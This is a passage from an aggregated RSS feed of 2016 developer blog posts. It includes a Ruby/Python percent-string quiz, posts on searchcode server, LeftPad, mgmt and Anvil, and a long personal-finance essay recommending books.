&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In both languages you can drop the array/tuple if you have only one argument:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;m %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Python&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;m %d&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"I'm %s"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="s2"&gt;"Ruby"&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"I'm %d"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Both will raise an exception if you have not enough arguments but only Python
will do it if you have too many of them:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python
&lt;/span&gt;&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;m %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Python&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Ruby&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# =&amp;gt; TypeError: not all arguments converted during string formatting
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Ruby&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"I'm %s"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Ruby"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Python"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# prints "I'm Ruby"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This means that while &lt;code class="language-plaintext highlighter-rouge"&gt;"" % ""&lt;/code&gt; is syntaxically valid in both languages, only
Ruby runs it without error, because Python raises an exception telling that the
argument (the string on the right) is not used.&lt;/p&gt;

&lt;p&gt;If we combine this knowledge with what we have above with literal strings we
now know we can write the following in Ruby:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="sx"&gt;%%%&lt;/span&gt; &lt;span class="sx"&gt;% %%% &lt;/span&gt;&lt;span class="c1"&gt;# equivalent to "" % ""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The last key is that it works without spaces and can be chained:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="s2"&gt;""&lt;/span&gt;  &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;  &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;  &lt;span class="c1"&gt;# =&amp;gt; ""&lt;/span&gt;
&lt;span class="sx"&gt;%%%&lt;/span&gt; &lt;span class="sx"&gt;% %%% &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="sx"&gt;%%%&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; ""&lt;/span&gt;
&lt;span class="sx"&gt;%%%%%%%%%%%     # =&amp;gt; ""
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The 3+4n refers to the way the expression is constructed: the first three
percent signs are an empty string, and the next four ones are the formatting
operator followed by another empty string.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Want more of these? Here are a few other valid Ruby expressions using strings
and percent signs (one per line); guess how they’re parsed and evaluated:&lt;/p&gt;

&lt;div class="language-text highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;%*%%*%%*%%*
%_/\|/\_/\|/\__
%_.-''-._%%_.-''-._%%_.-''-_%%.etc.
%/\/\/\/\/\______/
%# &amp;lt;- is it really valid? :-#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Sat, 02 Apr 2016 17:06:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2016/04/02/syntax-quiz-number-1-rubys-mysterious-percent-suite/</guid></item><item><title>How I got my internship at microsoft?</title><link>https://danielsada.tech/blog/microsoft-internship/</link><description>Being my dream to work for one of the Big 4, since an early age I stated to learn the skill-set I&amp;rsquo;d need in order to be interviewed in Microsoft. This blog intends to be a little recap of the things you can do to make your possibility of entering a Big 4, far greater.
Early in October, Microsoft came to my campus for recruiting. We had a very cool coding contest, and did good enough to get another interview.</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Sat, 02 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/microsoft-internship/</guid></item><item><title>searchcode server released</title><link>https://boyter.org/2016/03/searchcode-server-released/</link><description>&lt;p&gt;searchcode server the &lt;a href="https://searchcode.com/product/"&gt;downloadable self hosted version of searchcode.com&lt;/a&gt; is now available. A large amount of work went into the release with a variety of improvements based on feedback from the general beta releases.&lt;/p&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;searchcode server has a number of advantages over searchcode.com that will eventually be back-ported in. The full list of things to check out is included below,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New Single Page Application UI for smooth search experience&lt;/li&gt;
&lt;li&gt;Ability to split on terms so a search for &amp;ldquo;url signer&amp;rdquo; will match &amp;ldquo;UrlSigner&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Massively improved performance 3x in the worst case and 20x in the best&lt;/li&gt;
&lt;li&gt;Configurable through UI and configuration&lt;/li&gt;
&lt;li&gt;Spelling suggestion that learns from your code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A few things of note,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 01 Apr 2016 00:19:33 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/03/searchcode-server-released/</guid></item><item><title>LeftPad and Go: can tooling help?</title><link>https://divan.dev/posts/leftpad_and_go/</link><description>&lt;p&gt;You&amp;rsquo;ve probably heard that story about NPM community and &lt;a href="https://www.npmjs.com/package/left-pad"&gt;LeftPad&lt;/a&gt; package, that broke thousands JavaScript projects worldwide. There was a nice follow-up article titled &lt;a href="http://www.haneycodes.net/npm-left-pad-have-we-forgotten-how-to-program/"&gt;&amp;ldquo;Have We Forget How To Program&amp;rdquo;&lt;/a&gt; and one guy even created &lt;a href="http://left-pad.io"&gt;left-pad.io&lt;/a&gt; - Left-Pad As A Service web service. People got a lot of fun discussing this story.&lt;/p&gt;
&lt;p&gt;I personally find this story amazing, because there is no single point of failure, but rather a set of things and coincidences resulted in a disaster. Every person I spoke about left-pad story sees it through it&amp;rsquo;s own lens of concern. Some blame JS-community, some talks about how important vendoring is nowadays and others stands for absolutist views of the DRY principle.&lt;/p&gt;</description><author>divan's blog</author><pubDate>Thu, 31 Mar 2016 04:30:29 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/leftpad_and_go/</guid></item><item><title>Everything I Do and Think I've Read in a Book (or, exploring the relationship between books and money)</title><link>https://josh.works/everything-i-do-and-think-ive-read-in-a-book</link><description>&lt;p&gt;Here’s yet another big post on money and income and saving and reading. I tried to write everything on my mind in one massive letter, so I could write a really detailed answer once, rather than a less-useful but less-thoughtful email that I can never reuse.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Hey there,&lt;/p&gt;

&lt;p&gt;I’m enjoying our slowly-evolving conversation-by-text. Since we’re many time zones apart, and I like to think and digest between texts, it’s been a slow conversation.&lt;/p&gt;

&lt;p&gt;We’ve “uncorked” two topics so far:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Am I living on 50% of my income, per my stated goal last year?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“I read really slow” which I repackaged as “what’s the ‘break-even point’ on reading to justify prioritizing it above other items in my life.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The 50% of my income thing is a whole long thought on it’s own, but I’ll take a quick stab.&lt;/p&gt;

&lt;h2 id="am-i-josh-living-on-50-of-my-income"&gt;Am I (Josh) living on 50% of my income?&lt;/h2&gt;

&lt;p&gt;No. For two reasons.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;I don’t have
my income.
We have
our income.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It’s hard to track that exact percentage, so I don’t know
what percentage we’re living on. I think it’s about 65% of our income.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="my-income-doesnt-exist"&gt;“My income” doesn’t exist&lt;/h3&gt;

&lt;p&gt;Kristi and I have 100% combined finances
, so it’sour* money. Not my money. For a few months last year Kristi was not working, and at no point did the thought pass through my head that she was not pulling her weight.&lt;/p&gt;

&lt;p&gt;*For our sanity, we both have “fun money” budgets of about $100/month. We can spend it however we want, but it’s to remove any guilt or justification around small purchases. I want to buy {frivolous thing}? Great. I’ve got fun money. Kristi wants to withdraw five $20 bills and light them on fire? No problem. It’s her fun money.&lt;/p&gt;

&lt;p&gt;It started as $50/month, and we’ve bumped it up a bit over the last two years.&lt;/p&gt;

&lt;p&gt;The tool I use to track all of this is called “
&lt;a href="http://www.youneedabudget.com/learn"&gt;You Need A Budget&lt;/a&gt;”, and is worth every penny.&lt;/p&gt;

&lt;h3 id="i-dont-know-the-exact-percentage-that-were-living-on"&gt;I don’t know the exact percentage that we’re living on&lt;/h3&gt;

&lt;p&gt;I’ve got 30% of my paycheck going to retirement funds, and have a 4% match from my employer, so before a paycheck lands in our checking account, 34% of that money has gone to savings. I earn about 2/3s of our household income, so that accounts for the first 17% household savings rate.&lt;/p&gt;

&lt;p&gt;Beyond that, we’ve been putting money aside in our checking account, with the plan of investing it. The reason we have a lump sum of money sitting there is because of
friction. I’ve not set up an automatic investment strategy yet with Vanguard, and it’s a pain in the butt to do, so I’ve just not done that. This is bad, and writing these words makes me want to fix that.&lt;/p&gt;

&lt;p&gt;What I do know, doing back of the envelope calculations, once you throw in all income/expenses and close one eye and squint the other, I think we’re saving ~30% of our income every month. Maybe more&lt;/p&gt;

&lt;p&gt;I still want to get to 50% saved, at least a few months this year.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Cool, so you save a lot of money. What’s that have to do with reading?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id="the-relationship-between-money-and-reading"&gt;The relationship between money and reading&lt;/h2&gt;

&lt;p&gt;Just about everything I think in the world I’ve gained from a book.
I don’t have original ideas. At best I might combine an idea about one thing with a new topic, and poof, it seems new. (To me, a coworker, a friend, et.) But it’s really not new. It’s the same old idea applied to a new thing.&lt;/p&gt;

&lt;p&gt;Books are where you get the ideas to apply to new things.&lt;/p&gt;

&lt;p&gt;The two big things that have helped us save a lot of money is “earn more” and “spend less”.&lt;/p&gt;

&lt;p&gt;I just spent a long time googling around for a good list of reasons to prioritize reading, and couldn’t find any lists that I really liked.&lt;/p&gt;

&lt;p&gt;I do not like the lists because the lists were all about reading books. I don’t read books because I like to read, though I do enjoy it.
I read books because it’s a small investment in my life. Reading is the quickest, most effective way to grow my knowledge, and who I am as a person.&lt;/p&gt;

&lt;p&gt;Every book, fiction or non-fiction, is a tiny little addition to who I am as a person. Over time, those additions add up. Some books contribute more than others.&lt;/p&gt;

&lt;p&gt;Reading feels like a delightful obligation I have to myself, my family, and those around me. Every bit of knowledge I glean or idea I have from a book can benefit me and Kristi, directly.&lt;/p&gt;

&lt;p&gt;Here’s a list of topics I’ve read about in the last year or so:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Marriage&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Relationships (with my wife, with God, with others)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Finances&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Physical fitness&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Happiness&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Solitude&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Mental fortitude/independence/self-control&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Lots and lots of fiction. (I love sic-fi and fantasy, but read plenty of other fiction too)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Economics&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Habit building/morning routines&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Thankfulness&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Money (again)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Autobiographies of accomplished people (the
&lt;a href="http://www.amazon.com/gp/product/B000FBFMHU/ref=x_gr_w_bb?ie=UTF8&amp;amp;tag=x_gr_w_bb-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B000FBFMHU&amp;amp;SubscriptionId=1MGPYB6YW3HWK55XCGG2"&gt;two&lt;/a&gt;
&lt;a href="http://www.amazon.com/gp/product/0316037702/ref=x_gr_w_bb?ie=UTF8&amp;amp;tag=x_gr_w_bb-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0316037702&amp;amp;SubscriptionId=1MGPYB6YW3HWK55XCGG2"&gt;best&lt;/a&gt; autobiographies I’ve read were written by felons-turned-consultants)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Relationship building (social skills, ways to add value, etc.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to build an audience&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to set healthy boundaries in your life&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to identify and pursue the “essentials”&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to roughhouse with kids&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to grow your career by doing better and better work&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Happiness (again)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to become an authority on a topic&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to charge more as a freelancer&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How the food we eat impacts the world around us&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;More books about money&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;etc.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I said a moment ago that reading feels like a delightful obligation? Why did I say
obligation? Easy. If you boiled the themes of the above list down to just the basics, you could say that these books cover:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;ways I relate to others&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;ways I relate to myself&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ways I can deliver the most value possible for anyone who hires me, and in return can ask for a larger and larger piece of compensation.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ways I can manage my resources (time, money)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of these themes are so important that anyone alive today would be well-justified to study these topics to learn more about them. By reading, you do just that.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I get it. Reading is cool. You’ve STILL not tied this back to making phat stacks of cash&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Lets imagine Joe makes $40,000/year. Lets imagine that Joe gets a raise tomorrow and doubles his annual income. Good for him! What does he do now?&lt;/p&gt;

&lt;p&gt;If Joe is average, his lifestyle inflates. He was living on $40k, but in six months, he’ll be living on that full $80k. If he loses his job and has to go back to $40k/year, he’ll quickly rack up big debt, because he’s used to spending more.&lt;/p&gt;

&lt;p&gt;On the other hand, if Joe makes $40k, but lives as if he makes $35k, and gets a raise to $80k,
and does not increase his spending, he can start putting away $45k a year in the bank. Whoa.&lt;/p&gt;

&lt;p&gt;Now, there’s three things going on with this story:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Joe starts earning more money&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Joe keeps his life style from in flaring&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Joe saves the extra money&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these three topics is the subject of many books. Sometimes one book touches on all three, but usually not.&lt;/p&gt;

&lt;p&gt;If “make more money”, “don’t spend it all”, and “save the difference” is an appealing plan, the only option is to read. Online articles are not sufficient, though they are a great place to start.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Blah blah blah, books books books. Fine, I’ll read one. Can you make some recommendations?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sure. We’ll start high level and go down from there:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.amazon.com/Will-Teach-You-Be-Rich/dp/0761147489/ref=sr_1_1?"&gt;I Will Teach You To Be Rich&lt;/a&gt; Super sketchy title, but at the end, you’ll angrily say “How has no one told me this before?” before overhauling your financial life.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.amazon.com/Slight-Edge-Turning-Disciplines-Happiness/dp/1626340463/ref=sr_1_1?ie=UTF8&amp;amp;qid=1459404389&amp;amp;sr=8-1&amp;amp;keywords=the+slight+edge"&gt;The Slight Edge&lt;/a&gt; (about the long-term impact that trivial daily decisions can have. I.E. things that are
easy to do, but just as easy not to do.) It’s not specifically about money, but offers a very valuable framework for that kind of decision-making. Unfortunately, it does come across as self-helpy quite a bit, talking about how “readers of this book have changed their lives”. I don’t like that kind of stuff, but the content is quite good.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.amazon.com/Your-Money-Life-Transforming-Relationship/dp/0143115766/ref=sr_1_1?ie=UTF8&amp;amp;qid=1459404423&amp;amp;sr=8-1&amp;amp;keywords=your+money+or+your+life"&gt;Your Money or Your Life&lt;/a&gt; This book is sort of the bible of the “financial independence” crowd, and explains how it’s possible to become financially independent without making millions. This gets into the “why”
and the “how” of “make more money, avoid lifestyle inflation, save the rest.”&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.amazon.com/Fearless-Salary-Negotiation-step---step/dp/0692568689/ref=sr_1_1?ie=UTF8&amp;amp;qid=1459404460&amp;amp;sr=8-1&amp;amp;keywords=fearless+salary+negotiation"&gt;Fearless Salary Negotiation&lt;/a&gt; Self-explanatory title. This is the “how to make more money” step in a very practical way.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.amazon.com/Millionaire-Next-Door-Surprising-Americas/dp/1589795474/ref=sr_1_1?ie=UTF8&amp;amp;qid=1459404512&amp;amp;sr=8-1&amp;amp;keywords=the+millionaire+next+door"&gt;The Millionaire Next Door&lt;/a&gt; A encouraging reality check - most millionaires in America don’t look like millionaires. They drive used vehicles, they live modest lifestyles. This is exactly
how they have become millionaires, and nothing changes when they cross that seven-figure line. Of course, a million dollars in 1980 is worth $2.8MM today (
&lt;a href="http://www.bls.gov/data/inflation_calculator.htm"&gt;Bureau of Labor and Statistics&lt;/a&gt;), but it’s still a nice round number to aim for.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s a starting point. I would argue that one could not read these five books and be unchanged by them. If you read ten minutes a day, you will finish, on average, one book a month. This is an excellent pace.&lt;/p&gt;

&lt;p&gt;Pick the most interesting looking title, go order it from Amazon. (And, none of these are affiliate links. I don’t do that, never will)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Related&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="/thoughts-on-money-from-2013"&gt;Thoughts On Money from 2013&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="/on-money-again"&gt;On Money Again&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Thu, 31 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/everything-i-do-and-think-ive-read-in-a-book</guid></item><item><title>Links - March 31st, 2016</title><link>https://faingezicht.com/links/2016/03/31/links/</link><description>I have spent a lot of time lately trying to understand, and playing around with, computer vision, deep learning, reinforcement learning, and other machine learning models. Between Stanford's &lt;a href="http://cs231n.github.io/"&gt;Convolutional Neural Networks for Visual Recognition&lt;/a&gt; course, &lt;a href="https://iamtrask.github.io/2016/02/25/deepminds-neural-stack-machine/"&gt;Trask's neural stack explanation&lt;/a&gt;, playing &lt;a href="http://web.archive.org/web/20170104075404/https://github.com/bitwise-ben/Snake"&gt;snake with Keras&lt;/a&gt; and creating &lt;a href="https://github.com/awentzonline/image-analogies"&gt;image analogies&lt;/a&gt;, I have spent a lot more time than usual coding and training machine learning models after work. More accurately, I have spent hours poring over complex equations I don't yet fully understand, and waiting for models to converge.

Even if you are not a computer scientist, you should read the intro to reinforcement learning linked below. With some understanding of economic modeling, and a bit of effort, you'll get the basics of how a system like AlphaGo works. Machine, or otherwise, learning is fun.</description><author>Avy Faingezicht</author><pubDate>Thu, 31 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/31/links/</guid></item><item><title>Automatic grouping in mgmt</title><link>https://purpleidea.com/blog/2016/03/30/automatic-grouping-in-mgmt/</link><description>&lt;p&gt;In this post, I&amp;rsquo;ll tell you about the recently released &amp;ldquo;automatic grouping&amp;rdquo; or &amp;ldquo;AutoGroup&amp;rdquo; feature in &lt;em&gt;&lt;a href="https://github.com/purpleidea/mgmt/"&gt;mgmt&lt;/a&gt;&lt;/em&gt;, a next generation configuration management prototype. If you aren&amp;rsquo;t already familiar with mgmt, I&amp;rsquo;d recommend you start by reading the &lt;a href="https://purpleidea.com/blog/2016/01/18/next-generation-configuration-mgmt/"&gt;introductory post&lt;/a&gt;, and the &lt;a href="https://purpleidea.com/blog/2016/03/14/automatic-edges-in-mgmt/"&gt;second post&lt;/a&gt;. There&amp;rsquo;s also an &lt;a href="https://www.youtube.com/watch?v=GVhpPF0j-iE&amp;amp;html5=1"&gt;introductory video&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Resources in a graph&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Most configuration management systems use something called a &lt;a href="https://en.wikipedia.org/wiki/Directed_acyclic_graph"&gt;directed acyclic graph, or DAG&lt;/a&gt;. This is a fancy way of saying that it is a bunch of circles (vertices) which are connected with arrows (edges). The arrows must be connected to exactly two vertices, and you&amp;rsquo;re only allowed to move along each arrow in one direction (directed). Lastly, if you start at any vertex in the graph, you must never be able to return to where you started by following the arrows (acyclic). If you can, the graph is not fit for our purpose.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 30 Mar 2016 09:03:47 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/03/30/automatic-grouping-in-mgmt/</guid></item><item><title>Atlanta Craft Beer Reviews</title><link>https://ben.bolte.cc/posts/2016-03-30-beer</link><description>Some facts and very sarcastic opinions regarding craft beers that can be bought at the Krogers near my apartment.</description><author>Ben Bolte</author><pubDate>Wed, 30 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ben.bolte.cc/posts/2016-03-30-beer</guid></item><item><title>Hanging an axe</title><link>https://june.kim/hanging-an-axe/</link><author>june.kim</author><pubDate>Wed, 30 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/hanging-an-axe/</guid></item><item><title>Getting Started with React, Redux and Immutable: a Test-Driven TodoMVC Tutorial (Part 2)</title><link>https://phacks.dev/articles/getting-started-with-react-redux-and-immutable-a-test-driven-todomvc-tutorial-part-2</link><description>This is the second and last part of the React, Redux and Immutable tutorial.</description><author>Nicolas Goutay</author><pubDate>Wed, 30 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/getting-started-with-react-redux-and-immutable-a-test-driven-todomvc-tutorial-part-2</guid></item><item><title>Links - March 29th, 2016</title><link>https://faingezicht.com/links/2016/03/29/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 29 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/29/links/</guid></item><item><title>How to architect Anvil apps</title><link>https://zserge.com/posts/anvil-app-architecture/</link><description>If you only have a few UI elements, a small data class and your controllers have only a few actions to perform - you may consider using no architecture at all.
Just make a global &amp;ldquo;controller&amp;rdquo; object and/or a global data object. By &amp;ldquo;global&amp;rdquo; I mean you may use dependency injection, or propagate the instance from the root activity to its child views, or make it a singleton.
Simply bind data to your views and call controller methods from your event listeners.</description><author>zserge's blog</author><pubDate>Tue, 29 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/anvil-app-architecture/</guid></item><item><title>The Stockholm syndrome of Android XML</title><link>https://zserge.com/posts/anvil-xml-support/</link><description>When people first hear about Anvil they don&amp;rsquo;t trust it because at first glance Anvil seems to be just a replacement for XML layouts. It&amp;rsquo;s not. It&amp;rsquo;s a library to build predictable reactive views.
There are many known disadvantages of XMLs (poor code reuse, no type-safety, no variables, very limited styling support etc etc). Yet the developers are so much used to XMLs that they started liking them!
Let&amp;rsquo;s see how one can use Anvil in all its power and still have XMLs in their projects.</description><author>zserge's blog</author><pubDate>Tue, 29 Mar 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/anvil-xml-support/</guid></item><item><title>Switch Caps Lock and Escape (Linux)</title><link>https://jmthornton.net/blog/p/switch-caps-esc</link><description>For those with lazy hands like me, switching Caps Lock and Escape can avoid uncessesary effort. Making the switch is just a couple short steps.</description><author>Blog by Jade Michael Thornton</author><pubDate>Mon, 28 Mar 2016 18:00:00 GMT</pubDate><guid isPermaLink="true">https://jmthornton.net/blog/p/switch-caps-esc</guid></item><item><title>GNW01: In-Memory Processing for Databases</title><link>https://tanelpoder.com/2016/03/27/gnw01-in-memory-processing-for-databases/</link><description>&lt;p&gt;This &lt;a href="http://gluent.com" target="_blank"&gt;Gluent&lt;/a&gt; New World webinar is based on my &lt;strong&gt;RAM is the new disk and how to measure its performance&lt;/strong&gt; article 